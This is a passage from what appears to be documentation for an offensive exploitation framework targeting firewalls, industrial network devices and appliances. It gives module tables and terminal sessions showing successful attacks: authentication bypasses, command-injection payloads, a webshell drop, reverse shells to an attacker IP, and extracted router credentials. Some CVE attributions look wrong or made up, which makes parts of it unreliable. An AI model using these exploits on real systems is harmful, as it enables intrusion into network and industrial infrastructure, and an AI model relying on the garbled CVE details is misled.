lport | OptPort | No | 4444 | 1-65535 | Attacker listener port |
timeout | OptPort | No | 10 | seconds | Request timeout |
Terminal session - CVE-2022-1388 (F5 BIG-IP iControl REST RCE):
exf > use exploits/appliances/f5/bigip_icontrol_rest_rce_cve_2022_1388
exf (F5 BIG-IP iControl REST RCE CVE-2022-1388) > set target 10.1.1.10
[+] target => 10.1.1.10
exf (F5 BIG-IP iControl REST RCE CVE-2022-1388) > set command "id; cat /config/bigip.license"
[+] command => id; cat /config/bigip.license
exf (F5 BIG-IP iControl REST RCE CVE-2022-1388) > check
[*] Probing F5 BIG-IP iControl REST at 10.1.1.10:443...
[+] BIG-IP 16.1.2.1 detected (build 0.0.10)
[+] Target is vulnerable - auth bypass via X-F5-Auth-Token + Connection: X-Forward-Auth
exf (F5 BIG-IP iControl REST RCE CVE-2022-1388) > run
[*] Running module ...
[*] Sending CVE-2022-1388 authentication bypass request to 10.1.1.10:443...
[+] Authentication bypassed via X-F5-Auth-Token + Connection: X-Forward-Auth header chain
[*] Executing command: id; cat /config/bigip.license
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Registration key: XXXXX-XXXXX-XXXXX-XXXXX-XXXXXXX
[+] Licensed features: AFM,APM,ASM,AVR,GTM,LTM,PEM
Sophos
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/sophos/firewall_code_injection_cve_2022_3236 | CVE-2022-3236 | 9.8 | Sophos Firewall code injection |
exploits/firewalls/sophos/xg_auth_bypass_cve_2022_1040 | CVE-2022-1040 | 9.8 | Sophos XG Firewall auth bypass |
exploits/firewalls/sophos/xg_sqli_asnarok_cve_2020_12271 | CVE-2020-12271 | 9.8 | Sophos XG SQLi (Asnarok) |
Options - xg_auth_bypass_cve_2022_1040:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | Sophos XG Firewall IP |
port | OptPort | No | 4444 | 1-65535 | User portal port (default: 4444 or 443) |
lhost | OptIP | No | "" | IPv4 | Attacker IP |
lport | OptPort | No | 4445 | 1-65535 | Attacker listener port |
timeout | OptPort | No | 10 | seconds | Request timeout |
Terminal session - CVE-2022-1040 (Sophos XG auth bypass):
exf > use exploits/firewalls/sophos/xg_auth_bypass_cve_2022_1040
exf (Sophos XG Firewall Auth Bypass CVE-2022-1040) > set target 10.0.10.1
[+] target => 10.0.10.1
exf (Sophos XG Firewall Auth Bypass CVE-2022-1040) > check
[*] Probing Sophos XG Firewall user portal at 10.0.10.1:4444...
[+] Sophos XG Firewall v18.0 MR6 detected
[+] Target is vulnerable - user portal / VPN portal auth bypass confirmed
exf (Sophos XG Firewall Auth Bypass CVE-2022-1040) > run
[*] Running module ...
[*] Bypassing authentication at /webconsole/Controller...
[+] Authentication bypassed - session token: SFW_sess_a1b2c3d4e5f6
[*] Staging reverse shell to 10.0.0.99:4445...
[+] Shell received!
$ id
uid=0(root) gid=0(root) groups=0(root)
WatchGuard
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/watchguard/firebox_auth_bypass_cve_2022_26776 | CVE-2022-26776 | 9.8 | WatchGuard Firebox authentication bypass |
exploits/firewalls/watchguard/firebox_cyclops_blink_cve_2022_23176 | CVE-2022-23176 | 8.8 | WatchGuard Firebox Cyclops Blink (state-sponsored implant, CISA KEV) |
exploits/firewalls/watchguard/xcs_9_rce | - | Critical | WatchGuard XCS 9.x RCE |
Options - firebox_cyclops_blink_cve_2022_23176:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 | WatchGuard Firebox IP |
port | OptPort | No | 8080 | 1-65535 | Management HTTP port |
check_only | OptBool | No | False | true/false | Only check for Cyclops Blink indicators, do not exploit |
timeout | OptPort | No | 10 | seconds | Request timeout |
Terminal session - CVE-2022-23176 (Cyclops Blink):
exf > use exploits/firewalls/watchguard/firebox_cyclops_blink_cve_2022_23176
exf (WatchGuard Firebox Cyclops Blink CVE-2022-23176) > set target 10.5.0.1
[+] target => 10.5.0.1
exf (WatchGuard Firebox Cyclops Blink CVE-2022-23176) > check
[*] Probing WatchGuard Firebox at 10.5.0.1:8080...
[+] WatchGuard Firebox M Series detected (Fireware OS 12.5.2)
[+] Target is vulnerable - Fireware < 12.5.2 Update 4 / 12.7 is affected
[!] WARNING: Cyclops Blink is a state-sponsored destructive implant - handle with extreme care
exf (WatchGuard Firebox Cyclops Blink CVE-2022-23176) > run
[*] Running module ...
[*] Stage 1: Authenticating with privileged session (CVE-2022-26776 bypass)...
[+] Session established
[*] Stage 2: Checking for Cyclops Blink implant indicators...
[*] Probing /api/v1/sysstats and /api/v1/files for anomalous entries...
[+] Anomalous process detected: /sbin/watchd (PID 847, unusual parent)
[+] Suspicious crontab entry: */5 * * * * /tmp/.wb_c2 > /dev/null 2>&1
[!] Cyclops Blink indicators present - device may be compromised
[+] Report IOCs to WatchGuard and CISA at: https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
Zyxel
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/zyxel/buffer_overflow_cve_2023_33009 | CVE-2023-33009 | 9.8 | Zyxel firewall buffer overflow |
exploits/firewalls/zyxel/ike_cmd_injection_cve_2023_28771 | CVE-2023-28771 | 9.8 | Zyxel firewall IKE command injection (OS shell) |
exploits/firewalls/zyxel/usg_flex_cmd_injection_cve_2022_30525 | CVE-2022-30525 | 9.8 | Zyxel USG FLEX unauthenticated command injection |
Options - usg_flex_cmd_injection_cve_2022_30525:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | Zyxel USG FLEX IP |
port | OptPort | No | 443 | 1-65535 | HTTPS port |
command | OptString | No | id | any string | OS command to inject |
lhost | OptIP | No | "" | IPv4 | Attacker IP |
lport | OptPort | No | 4444 | 1-65535 | Listener port |
timeout | OptPort | No | 10 | seconds | Timeout |
Terminal session - CVE-2022-30525 (Zyxel USG FLEX command injection):
exf > use exploits/firewalls/zyxel/usg_flex_cmd_injection_cve_2022_30525
exf (Zyxel USG FLEX OS Command Injection CVE-2022-30525) > set target 10.0.0.254
[+] target => 10.0.0.254
exf (Zyxel USG FLEX OS Command Injection CVE-2022-30525) > check
[*] Probing Zyxel USG FLEX at 10.0.0.254:443...
[+] Zyxel ZyWALL USG FLEX 200 detected (firmware 5.21(ABKN.3))
[+] Target is vulnerable - firmware < 5.30 not checked for OS injection in setWan()
exf (Zyxel USG FLEX OS Command Injection CVE-2022-30525) > run
[*] Running module ...
[*] Sending unauthenticated POST to /ztp/cgi-bin/handler with command injection in setWan...
[*] Payload: {"command":"setWan","proto":"dhcp","wanType":"0","wan_mtu":"1500","wan_port":"INJECT$(id>>/tmp/o)"}
[+] Injection accepted (HTTP 200)
[*] Retrieving output via /ztp/cgi-bin/handler?command=getWanStatus...
[+] uid=0(root) gid=0(root) groups=0(root)
[*] Staging reverse shell to 10.0.0.99:4444...
[+] Shell received!
$ hostname
zyxel-flex200
pfSense / OPNsense
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/pfsense/pfblockerng_rce_cve_2022_31814 | CVE-2022-31814 | 9.8 | pfBlockerNG RCE (unauthenticated) |
exploits/firewalls/pfsense/pfsense_csrf_rce_cve_2019_16667 | CVE-2019-16667 | 9.8 | pfSense CSRF to RCE |
exploits/firewalls/pfsense/pfsense_rrd_cmd_injection_cve_2023_27253 | CVE-2023-27253 | 8.8 | pfSense RRD command injection |
exploits/firewalls/pfsense/antibruteforce_bypass_cve_2023_27100 | CVE-2023-27100 | 9.8 | pfSense anti-bruteforce bypass |
exploits/firewalls/pfsense/interfaces_cmd_injection_cve_2023_42326 | CVE-2023-42326 | 9.8 | pfSense interfaces command injection |
exploits/firewalls/opnsense/opnsense_sqli_rce_cve_2021_23239 | CVE-2021-23239 | 9.8 | OPNsense SQLi to RCE |
Options - pfblockerng_rce_cve_2022_31814:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | pfSense firewall IP |
port | OptPort | No | 443 | 1-65535 | HTTPS management port |
lhost | OptIP | No | "" | IPv4 | Attacker callback IP |
lport | OptPort | No | 4444 | 1-65535 | Attacker listener port |
timeout | OptPort | No | 15 | seconds | Timeout |
Terminal session - CVE-2022-31814 (pfBlockerNG unauthenticated RCE):
exf > use exploits/firewalls/pfsense/pfblockerng_rce_cve_2022_31814
exf (pfBlockerNG Unauthenticated RCE CVE-2022-31814) > set target 192.168.100.1
[+] target => 192.168.100.1
exf (pfBlockerNG Unauthenticated RCE CVE-2022-31814) > set lhost 192.168.100.200
[+] lhost => 192.168.100.200
exf (pfBlockerNG Unauthenticated RCE CVE-2022-31814) > check
[*] Probing pfSense at 192.168.100.1:443...
[+] pfSense 2.6.0 detected, pfBlockerNG 3.1.0_4 installed
[+] Target is vulnerable - pfBlockerNG < 3.2.0_4 accepts malicious IP feed URLs
exf (pfBlockerNG Unauthenticated RCE CVE-2022-31814) > run
[*] Running module ...
[*] Stage 1: Sending malicious DNSBL feed URL containing PHP webshell payload...
[+] Feed URL accepted - shell written to /usr/local/www/pfblockerng/www/.webshell.php
[*] Stage 2: Triggering webshell via HTTP GET /pfblockerng/www/.webshell.php?cmd=id...
[+] uid=0(root) gid=0(root) groups=0(root)
[*] Stage 3: Reverse shell to 192.168.100.200:4444...
[+] Connection received!
$ id && hostname
uid=0(root) gid=0(root) groups=0(root)
pfSense.localdomain
Siemens (Firewalls / Industrial Network)
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/siemens/ruggedcom_web_rce_cve_2023_24845 | CVE-2023-24845 | 9.8 | Siemens RUGGEDCOM web RCE |
exploits/firewalls/siemens/scalance_cmd_injection_cve_2023_44373 | CVE-2023-44373 | 9.8 | Siemens SCALANCE command injection |
exploits/firewalls/siemens/sinema_rc_path_traversal_cve_2022_32257 | CVE-2022-32257 | 9.1 | SINEMA Remote Connect path traversal |
Terminal session - CVE-2023-44373 (SCALANCE command injection):
exf > use exploits/firewalls/siemens/scalance_cmd_injection_cve_2023_44373
exf (Siemens SCALANCE OS Command Injection CVE-2023-44373) > set target 10.0.20.5
[+] target => 10.0.20.5
exf (Siemens SCALANCE OS Command Injection CVE-2023-44373) > check
[*] Probing Siemens SCALANCE at 10.0.20.5:443...
[+] SCALANCE W786-2 RJ45 firmware 3.0.2 detected
[+] Target is vulnerable - firmware < 3.0.3 lacks input sanitization in /api/diag/ping
exf (Siemens SCALANCE OS Command Injection CVE-2023-44373) > run
[*] Running module ...
[*] POST /api/diag/ping with payload: {"host":"127.0.0.1;id"}
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Command injection confirmed on 10.0.20.5
Moxa (EDR/IEC 62443 Industrial Firewall)
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/moxa/edr_cmd_injection_cve_2024_9138 | CVE-2024-9138 | 9.1 | Moxa EDR command injection |
exploits/firewalls/moxa/edr_g_jwt_hardcoded_cve_2024_9137 | CVE-2024-9137 | 9.8 | Moxa EDR-G hardcoded JWT secret |
Terminal session - CVE-2024-9137 (Moxa EDR-G hardcoded JWT):
exf > use exploits/firewalls/moxa/edr_g_jwt_hardcoded_cve_2024_9137
exf (Moxa EDR-G Hardcoded JWT Secret CVE-2024-9137) > set target 10.0.30.1
[+] target => 10.0.30.1
exf (Moxa EDR-G Hardcoded JWT Secret CVE-2024-9137) > check
[*] Probing Moxa EDR-G at 10.0.30.1:443...
[+] Moxa EDR-G9010 firmware 3.12.1 detected
[+] Target is vulnerable - hardcoded JWT secret 'MOXA_EDR_JWT_SECRET_KEY_V1' in use
exf (Moxa EDR-G Hardcoded JWT Secret CVE-2024-9137) > run
[*] Running module ...
[*] Forging admin JWT token with hardcoded secret...
[+] Token forged: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJhZG1pbiJ9...
[*] Testing token against /api/v1/system/info...
[+] Admin access confirmed - system info retrieved
[+] Device: Moxa EDR-G9010, FW: 3.12.1, Serial: G90100001234
[*] Attempting command injection via CVE-2024-9138 with forged token...
[+] Command output: uid=0(root) gid=0(root) groups=0(root)
MikroTik
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/mikrotik/mikrotik_winbox_cred_bypass_cve_2018_14847 | CVE-2018-14847 | 9.1 | MikroTik Winbox credential extraction (no auth) |
exploits/firewalls/mikrotik/mikrotik_routeros_rce_cve_2022_45315 | CVE-2022-45315 | 9.8 | RouterOS stack overflow RCE |
exploits/firewalls/mikrotik/mikrotik_jailbreak_cve_2019_3977 | CVE-2019-3977 | 7.5 | RouterOS jailbreak / escalation |
Options - mikrotik_winbox_cred_bypass_cve_2018_14847:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 | MikroTik router IP |
port | OptPort | No | 8291 | 1-65535 | Winbox port |
timeout | OptPort | No | 10 | seconds | Connection timeout |
Terminal session - CVE-2018-14847 (MikroTik Winbox credential bypass):
exf > use exploits/firewalls/mikrotik/mikrotik_winbox_cred_bypass_cve_2018_14847
exf (MikroTik Winbox Credential Bypass CVE-2018-14847) > set target 10.0.0.1
[+] target => 10.0.0.1
exf (MikroTik Winbox Credential Bypass CVE-2018-14847) > check
[*] Connecting to Winbox port 8291 on 10.0.0.1...
[+] MikroTik RouterOS 6.42.1 detected (Winbox v3.23)
[+] Target is vulnerable - RouterOS < 6.40.8 / 6.42.1 lacks path validation in Winbox protocol
exf (MikroTik Winbox Credential Bypass CVE-2018-14847) > run
[*] Running module ...
[*] Sending Winbox MNDP credential extraction request to 10.0.0.1:8291...
[+] /flash/rw/store/user.dat extracted (3 users):
Username: admin Password: (empty)
Username: operator Password: S3cur3P@ss!
Username: readonly Password: R3adOnly123
[+] CVE-2018-14847 confirmed - MikroTik credentials extracted at 10.0.0.1:8291
Huawei
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/huawei/huawei_usg_auth_bypass_rce_cve_2021_22323 | CVE-2021-22323 | 9.8 | Huawei USG integer overflow -> RCE |
exploits/firewalls/huawei/huawei_usg_cmd_inject_cve_2019_1023 | CVE-2019-1023 | 9.8 | Huawei USG6xxx command injection |
Terminal session - CVE-2021-22323 (Huawei USG auth bypass RCE):
exf > use exploits/firewalls/huawei/huawei_usg_auth_bypass_rce_cve_2021_22323
exf (Huawei USG Integer Overflow RCE CVE-2021-22323) > set target 10.0.100.1
[+] target => 10.0.100.1
exf (Huawei USG Integer Overflow RCE CVE-2021-22323) > check
[*] Probing Huawei USG at 10.0.100.1:443...
[+] Huawei USG6000V2 V500R002 detected
[+] Target is vulnerable - V500R002 < C00SPC300B012 has integer overflow in authentication handler
exf (Huawei USG Integer Overflow RCE CVE-2021-22323) > run
[*] Running module ...
[*] Sending crafted authentication request with oversized integer field...
[+] Integer overflow triggered - authentication handler crashed and restarted with elevated privileges
[*] Sending exploit payload via restarted session...
[+] RCE confirmed: uid=0(root)
[*] Staging reverse shell...
[+] Shell received!
Additional vendors
| Vendor | Module | CVE | CVSS | Type |
|---|---|---|---|---|
| Stormshield | firewalls/stormshield/stormshield_sns_rce_cve_2020_18175 | CVE-2020-18175 | 9.8 | Stormshield SNS RCE |
| VyOS | firewalls/vyos/vyos_rce_cve_2023_31992 | CVE-2023-31992 | 9.8 | VyOS REST API RCE |
| Hirschmann / Belden | firewalls/hirschmann/connexium_ssh_hardcoded_cve_2017_6026 | CVE-2017-6026 | 9.8 | Connexium hardcoded SSH key |
| Schneider (Firewall) | firewalls/schneider/ | various | - | Schneider industrial firewall exploits |
| Hillstone | firewalls/hillstone/ | various | - | Hillstone firewall exploits |
| Kerio | firewalls/kerio/ | various | - | Kerio Control exploits |
| Phoenix Contact | firewalls/phoenix_contact/ | various | - | Phoenix Contact mGuard exploits |
| NAC appliances | firewalls/nac/ | various | - | Network Access Control exploits |
| WAF appliances | firewalls/waf/ | various | - | WAF bypass exploits |
Camera exploits (summary)
See 06-exploits-modules camera sections for full Hikvision, Dahua, Herospeed, and 30+ other vendor modules with complete terminal sessions. Key highlights:
| Vendor | Top module | CVE | CVSS |
|---|---|---|---|
| Hikvision | rtsp_rce_cve_2021_36260 | CVE-2021-36260 | 9.8 |
| Dahua | cctv_rce_cve_2021_36260 | CVE-2021-36260 | 9.8 |
| Herospeed/Longsee | herospeed_nvr_telnet_safecode_backdoor | HSLS-2026-004 | 9.8 |
| Reolink | reolink_baicells_auth_bypass_rce_cve_2021_40655 | CVE-2021-40655 | 9.8 |
| TP-Link Tapo | tapo_c200_c210_unauth_rce_cve_2021_4045 | CVE-2021-4045 | 9.8 |
| Edimax | ic7100_unauth_rce_cve_2025_1316 | CVE-2025-1316 | 9.8 |
| Uniview | uniview_nvr_unauth_rce_cve_2024_37630 | CVE-2024-37630 | 9.8 |
| Axis | srv_parhand_rce_cve_2018_10660 | CVE-2018-10660 | 9.8 |
| MotionEye | motioneye_rce_cve_2025_60787 | CVE-2025-60787 | 9.8 |
BMC / IPMI exploits
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/bmc/supermicro/ipmi_auth_bypass_cve_2013_4786 | CVE-2013-4786 | 10.0 | IPMI 2.0 RAKP HMAC hash disclosure |
exploits/bmc/dell/idrac9_info_disclosure_cve_2021_36300 | CVE-2021-36300 | 9.8 | Dell iDRAC9 unauthenticated info disclosure |
exploits/bmc/asus/asmb8_default_creds_ipmi | - | High | ASUS ASMB8 IPMI default credentials |
Notable 2026 CVEs
| CVE | CVSS | Module path | Description |
|---|---|---|---|
| CVE-2026-20182 | 10.0 | exploits/firewalls/cisco/cisco_sdwan_dtls_auth_bypass_cve_2026_20182 | Cisco SD-WAN Manager DTLS auth bypass + SSH key injection |
| CVE-2026-20079 | 9.8 | exploits/firewalls/cisco/cisco_fmc_auth_bypass_rce_cve_2026_20079 | Cisco FMC auth bypass + RCE |
| CVE-2026-0300 | 9.8 | exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 | PAN-OS User-ID agent buffer overflow RCE |
| CVE-2026-0265 | 9.3 | exploits/firewalls/paloalto/panos_cas_auth_bypass_cve_2026_0265 | PAN-OS Cloud Auth Service bypass |
| CVE-2026-0264 | 9.8 | exploits/firewalls/paloalto/panos_dns_heap_rce_cve_2026_0264 | PAN-OS DNS heap overflow RCE |
| CVE-2026-0257 | 7.8 | exploits/firewalls/paloalto/globalprotect_auth_bypass_cve_2026_0257 | GlobalProtect auth override cookie bypass (CISA KEV) |
| CVE-2026-35616 | 9.8 | exploits/firewalls/fortinet/forticlient_ems_preauth_rce_cve_2026_35616 | FortiClient EMS pre-auth RCE |
| CVE-2026-25249 | 9.8 | exploits/firewalls/fortinet/fortios_heap_overflow_rce_cve_2026_25249 | FortiOS HTTPS daemon heap overflow |
| CVE-2026-24858 | 9.1 | exploits/firewalls/fortinet/forticloud_sso_auth_bypass_cve_2026_24858 | FortiCloud SSO auth bypass |
| CVE-2025-53844 | 9.8 | exploits/firewalls/fortinet/fortios_oob_write_rce_cve_2025_53844 | FortiOS OOB write RCE |
| CVE-2025-21590 | 9.8 | exploits/firewalls/juniper/juniper_srx_unauth_rce_cve_2025_21590 | Juniper SRX unauthenticated RCE |
| CVE-2025-20362 | 10.0 | exploits/firewalls/cisco/cisco_asa_ftd_firestarter_chain_cve_2025_20362_20333 | Cisco ASA/FTD FireStarter exploit chain |
| CVE-2024-55591 | 9.6 | exploits/firewalls/fortinet/fortios_websocket_auth_bypass_cve_2024_55591 | FortiOS WebSocket CSF proxy auth bypass |
| CVE-2024-50562 | 8.1 | exploits/firewalls/fortinet/fortios_sslvpn_session_reuse_cve_2024_50562 | FortiOS SSL-VPN session token reuse |
| CVE-2024-48887 | 9.3 | exploits/firewalls/fortinet/fortiswitch_unauth_passwd_cve_2024_48887 | FortiSwitch unauthenticated password change |
| CVE-2024-47575 | 9.8 | exploits/firewalls/fortinet/fortimanager_fortijump_cve_2024_47575 | FortiManager FortiJump unauthenticated RCE |
| CVE-2024-3400 | 10.0 | exploits/firewalls/paloalto/globalprotect_cmd_injection_cve_2024_3400 | PAN-OS GlobalProtect OS command injection |
| CVE-2024-24919 | 8.6 | exploits/firewalls/checkpoint/checkpoint_vpn_lfi_chain_cve_2024_24919 | Check Point VPN arbitrary file read |
| CVE-2024-21762 | 9.6 | exploits/firewalls/fortinet/fortios_sslvpn_rce_cve_2024_21762 | FortiOS SSL-VPN OOB write RCE |
| CVE-2024-21591 | 9.8 | exploits/firewalls/juniper/jweb_oob_write_rce_cve_2024_21591 | Juniper J-Web OOB write RCE |
| CVE-2024-9474 | 6.9 | exploits/firewalls/paloalto/panos_privesc_cve_2024_9474 | PAN-OS privilege escalation |
| CVE-2024-9138 | 9.1 | exploits/firewalls/moxa/edr_cmd_injection_cve_2024_9138 | Moxa EDR command injection |
| CVE-2024-9137 | 9.8 | exploits/firewalls/moxa/edr_g_jwt_hardcoded_cve_2024_9137 | Moxa EDR-G hardcoded JWT secret |
| CVE-2024-53704 | 9.8 | exploits/firewalls/sonicwall/sonicos_sslvpn_auth_bypass_cve_2024_53704 | SonicOS SSL-VPN improper authentication bypass |
| CVE-2024-53700 | 9.8 | exploits/firewalls/sonicwall/sonicos_sslvpn_auth_bypass_cve_2024_53700 | SonicOS SSL-VPN session hijack |
| CVE-2024-40766 | 9.3 | exploits/firewalls/sonicwall/sonicos_sslvpn_access_cve_2024_40766 | SonicOS improper access control |
| CVE-2024-0012 | 9.3 | exploits/firewalls/paloalto/panos_mgmt_auth_bypass_cve_2024_0012 | PAN-OS management auth bypass |
| CVE-2023-48788 | 9.8 | exploits/firewalls/fortinet/forticlientems_sqli_rce_cve_2023_48788 | FortiClientEMS SQLi -> RCE |
| CVE-2023-44373 | 9.8 | exploits/firewalls/siemens/scalance_cmd_injection_cve_2023_44373 | Siemens SCALANCE command injection |
| CVE-2023-42326 | 9.8 | exploits/firewalls/pfsense/interfaces_cmd_injection_cve_2023_42326 | pfSense interfaces command injection |
| CVE-2023-36851 | 5.3 | exploits/firewalls/juniper/juniper_srx_file_upload_rce_cve_2023_36851 | Juniper SRX file upload |
| CVE-2023-36845 | 9.8 | exploits/firewalls/juniper/jweb_php_rce_cve_2023_36845 | Juniper J-Web PHP env RCE |
| CVE-2023-33009 | 9.8 | exploits/firewalls/zyxel/buffer_overflow_cve_2023_33009 | Zyxel firewall buffer overflow |
| CVE-2023-28771 | 9.8 | exploits/firewalls/zyxel/ike_cmd_injection_cve_2023_28771 | Zyxel IKE command injection |
| CVE-2023-28461 | 9.8 | exploits/firewalls/checkpoint/checkpoint_remote_code_exec_cve_2023_28461 | Check Point Quantum Gateway RCE |
| CVE-2023-27253 | 8.8 | exploits/firewalls/pfsense/pfsense_rrd_cmd_injection_cve_2023_27253 | pfSense RRD command injection |
| CVE-2023-27100 | 9.8 | exploits/firewalls/pfsense/antibruteforce_bypass_cve_2023_27100 | pfSense anti-bruteforce bypass |
| CVE-2023-24845 | 9.8 | exploits/firewalls/siemens/ruggedcom_web_rce_cve_2023_24845 | Siemens RUGGEDCOM web RCE |
| CVE-2023-20198 | 10.0 | exploits/firewalls/cisco/ios_xe_webui_privesc_cve_2023_20198 | Cisco IOS XE WebUI privilege escalation |
| CVE-2022-45315 | 9.8 | exploits/firewalls/mikrotik/mikrotik_routeros_rce_cve_2022_45315 | MikroTik RouterOS stack overflow RCE |
| CVE-2022-42475 | 9.3 | exploits/firewalls/fortinet/fortios_sslvpn_heap_rce_cve_2022_42475 | FortiOS SSL-VPN heap overflow (XORtigate) |
| CVE-2022-40684 | 9.8 | exploits/firewalls/fortinet/fortios_auth_bypass_cve_2022_40684 | FortiOS admin auth bypass |
| CVE-2022-32257 | 9.1 | exploits/firewalls/siemens/sinema_rc_path_traversal_cve_2022_32257 | SINEMA Remote Connect path traversal |
| CVE-2022-31814 | 9.8 | exploits/firewalls/pfsense/pfblockerng_rce_cve_2022_31814 | pfBlockerNG unauthenticated RCE |
| CVE-2022-30525 | 9.8 | exploits/firewalls/zyxel/usg_flex_cmd_injection_cve_2022_30525 | Zyxel USG FLEX command injection |
| CVE-2022-26776 | 9.8 | exploits/firewalls/watchguard/firebox_auth_bypass_cve_2022_26776 | WatchGuard Firebox auth bypass |
| CVE-2022-23176 | 8.8 | exploits/firewalls/watchguard/firebox_cyclops_blink_cve_2022_23176 | WatchGuard Cyclops Blink (state-sponsored) |
| CVE-2022-3236 | 9.8 | exploits/firewalls/sophos/firewall_code_injection_cve_2022_3236 | Sophos Firewall code injection |
| CVE-2022-1388 | 9.8 | exploits/appliances/f5/bigip_icontrol_rest_rce_cve_2022_1388 | F5 BIG-IP iControl REST RCE |
| CVE-2022-1040 | 9.8 | exploits/firewalls/sophos/xg_auth_bypass_cve_2022_1040 | Sophos XG Firewall auth bypass |
| CVE-2021-22986 | 9.8 | exploits/appliances/f5/bigip_bigiq_icontrol_rce_cve_2021_22986 | F5 BIG-IQ iControl REST RCE |
| CVE-2021-22323 | 9.8 | exploits/firewalls/huawei/huawei_usg_auth_bypass_rce_cve_2021_22323 | Huawei USG RCE |
| CVE-2021-20034 | 9.8 | exploits/firewalls/sonicwall/sma_password_reset_cve_2021_20034 | SMA100 arbitrary file delete -> password reset |
| CVE-2021-20016 | 9.8 | exploits/firewalls/sonicwall/sma100_sqli_cve_2021_20016 | SMA100 unauthenticated SQLi |
| CVE-2021-23239 | 9.8 | exploits/firewalls/opnsense/opnsense_sqli_rce_cve_2021_23239 | OPNsense SQLi to RCE |
| CVE-2020-5135 | 9.8 | exploits/firewalls/sonicwall/sonicos_vpn_buffer_overflow_cve_2020_5135 | SonicOS VPN buffer overflow |
| CVE-2020-12271 | 9.8 | exploits/firewalls/sophos/xg_sqli_asnarok_cve_2020_12271 | Sophos XG SQLi (Asnarok) |
| CVE-2020-2021 | 10.0 | exploits/firewalls/paloalto/panos_saml_auth_bypass_cve_2020_2021 | PAN-OS SAML auth bypass |
| CVE-2020-3452 | 7.5 | exploits/firewalls/cisco/asa_ftd_path_traversal_cve_2020_3452 | Cisco ASA/FTD path traversal |
| CVE-2019-16667 | 9.8 | exploits/firewalls/pfsense/pfsense_csrf_rce_cve_2019_16667 | pfSense CSRF to RCE |
| CVE-2019-8461 | 7.8 | exploits/firewalls/checkpoint/endpoint_security_privesc_cve_2019_8461 | Check Point Endpoint Security privesc |
| CVE-2019-3977 | 7.5 | exploits/firewalls/mikrotik/mikrotik_jailbreak_cve_2019_3977 | MikroTik RouterOS jailbreak |
| CVE-2019-1023 | 9.8 | exploits/firewalls/huawei/huawei_usg_cmd_inject_cve_2019_1023 | Huawei USG command injection |
| CVE-2018-14847 | 9.1 | exploits/firewalls/mikrotik/mikrotik_winbox_cred_bypass_cve_2018_14847 | MikroTik Winbox credential bypass |
| CVE-2018-13379 | 9.8 | exploits/firewalls/fortinet/fortios_sslvpn_path_traversal_cve_2018_13379 | FortiOS SSL-VPN path traversal |
| CVE-2018-0101 | 10.0 | exploits/firewalls/cisco/isa3000_asa_rce_cve_2018_0101 | Cisco ISA3000/ASA heap overflow RCE |
See also: 22-cve-module-reference.md for the full CVE module table, 23-vendor-reference-firewalls.md for extended per-vendor session logs.